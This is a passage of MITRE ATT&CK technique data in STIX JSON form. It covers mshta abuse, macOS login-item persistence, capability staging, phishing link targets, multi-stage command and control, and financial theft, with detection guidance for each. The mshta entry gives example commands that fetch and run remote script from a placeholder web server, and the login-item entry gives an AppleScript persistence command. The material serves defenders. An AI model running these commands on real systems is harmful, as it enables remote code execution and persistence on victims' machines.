Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation", "Command: Command Execution", "Network Traffic: Network Connection Creation"], "x_mitre_defense_bypassed": ["Application control", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", "type": "attack-pattern", "created": "2021-10-05T21:26:15.081Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.015", "url": "https://attack.mitre.org/techniques/T1547/015"}, {"source_name": "Open Login Items Apple", "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac", "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", "source_name": "Adding Login Items"}, {"source_name": "SMLoginItemSetEnabled Schroeder 2013", "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/", "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021."}, {"source_name": "Launch Services Apple Developer", "url": "https://developer.apple.com/documentation/coreservices/launch_services", "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021."}, {"source_name": "ELC Running at startup", "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/", "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021."}, {"source_name": "Login Items AE", "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788", "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021."}, {"source_name": "Startup Items Eclectic", "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/", "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."}, {"source_name": "hexed osx.dok analysis 2019", "url": "http://www.hexed.in/2019/07/osxdok-analysis.html", "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}, {"source_name": "Add List Remove Login Items Apple Script", "url": "https://gist.github.com/kaloprominat/6111584", "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021."}, {"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}, {"source_name": "CheckPoint Dok", "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}, {"source_name": "objsee netwire backdoor 2019", "url": "https://objective-see.com/blog/blog_0x44.html", "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021."}, {"source_name": "objsee block blocking login items", "url": "https://objective-see.com/blog/blog_0x31.html", "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."}, {"source_name": "sentinelone macos persist Jun 2019", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}, {"source_name": "Launch Service Keys Developer Apple", "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1", "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021."}], "modified": "2021-10-18T16:36:37.042Z", "name": "Login Items", "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation", "File: File Modification"], "x_mitre_permissions_required": ["User"]}, {"modified": "2022-10-19T22:01:05.551Z", "name": "Stage Capabilities", "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", "created": "2021-03-17T20:04:09.331Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608", "external_id": "T1608"}, {"source_name": "Volexity Ocean Lotus November 2020", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"}, {"source_name": "Netskope GCP Redirection", "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.", "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"}, {"source_name": "Netskope Cloud Phishing", "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.", "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"}, {"source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}, {"source_name": "DigiCert Install SSL Cert", "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"}, {"source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"}, {"source_name": "Malwarebytes Heroku Skimmers", "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.", "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"}, {"source_name": "Dragos Heroku Watering Hole", "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.", "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"}, {"source_name": "FireEye CFR Watering Hole 2012", "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"}, {"source_name": "Malwarebytes Silent Librarian October 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"}, {"source_name": "Proofpoint TA407 September 2019", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-28T15:57:26.842Z", "name": "Link Target", "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Goldstein Menachem", "Hen Porcilan", "Diyar Saadi Ali", "Nikola Kovac"], "x_mitre_deprecated": false, "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", "created": "2021-03-17T20:35:08.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/005", "external_id": "T1608.005"}, {"source_name": "Netskope GCP Redirection", "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.", "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"}, {"source_name": "Netskope Cloud Phishing", "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.", "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"}, {"source_name": "URI Unique", "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"}, {"source_name": "Kaspersky-masking", "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.", "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"}, {"source_name": "Talos IPFS 2022", "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", "url": "https://blog.talosintelligence.com/ipfs-abuse/"}, {"source_name": "Malwarebytes Silent Librarian October 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"}, {"source_name": "URI", "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"}, {"source_name": "URI Use", "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"}, {"source_name": "iOS URL Scheme", "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"}, {"source_name": "Intezer App Service Phishing", "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.", "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"}, {"source_name": "Proofpoint TA407 September 2019", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"}, {"source_name": "Cofense-redirect", "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.", "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"}, {"source_name": "mandiant-masking", "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "type": "attack-pattern", "created": "2017-05-31T21:31:15.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1104", "external_id": "T1104"}], "modified": "2020-07-14T19:43:38.181Z", "name": "Multi-Stage Channels", "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-11T20:22:14.359Z", "name": "Financial Theft", "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Blake Strom, Microsoft Threat Intelligence", "Pawel Partyka, Microsoft Threat Intelligence", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Application Log: Application Log Content"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3", "created": "2023-08-18T20:50:04.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1657", "external_id": "T1657"}, {"source_name": "VEC", "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.", "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."}, {"source_name": "Crowdstrike-leaks", "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.", "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"}, {"source_name": "Mandiant-leaks", "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.", "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"}, {"source_name": "DOJ-DPRK Heist", "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.", "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"}, {"source_name": "FBI-BEC", "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.", "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"}, {"source_name": "FBI-ransomware", "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.", "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"}, {"source_name": "AP-NotPetya", "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.", "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"}, {"source_name": "Internet crime report 2022", "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.", "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"}, {"source_name": "BBC-Ronin", "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.", "url": "https://www.bbc.com/news/technology-60933174"}, {"source_name": "wired-pig butchering", "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.", "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"}, {"source_name": "NYT-Colonial", "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.", "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Nick Carr, Mandiant"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "created": "2019-01-31T02:10:08.261Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1480", "url": "https://attack.mitre.org/techniques/T1480"}, {"source_name": "FireEye Outlook Dec 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html", "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."}, {"source_name": "FireEye Kevin Mandia Guardrails", "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/", "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide 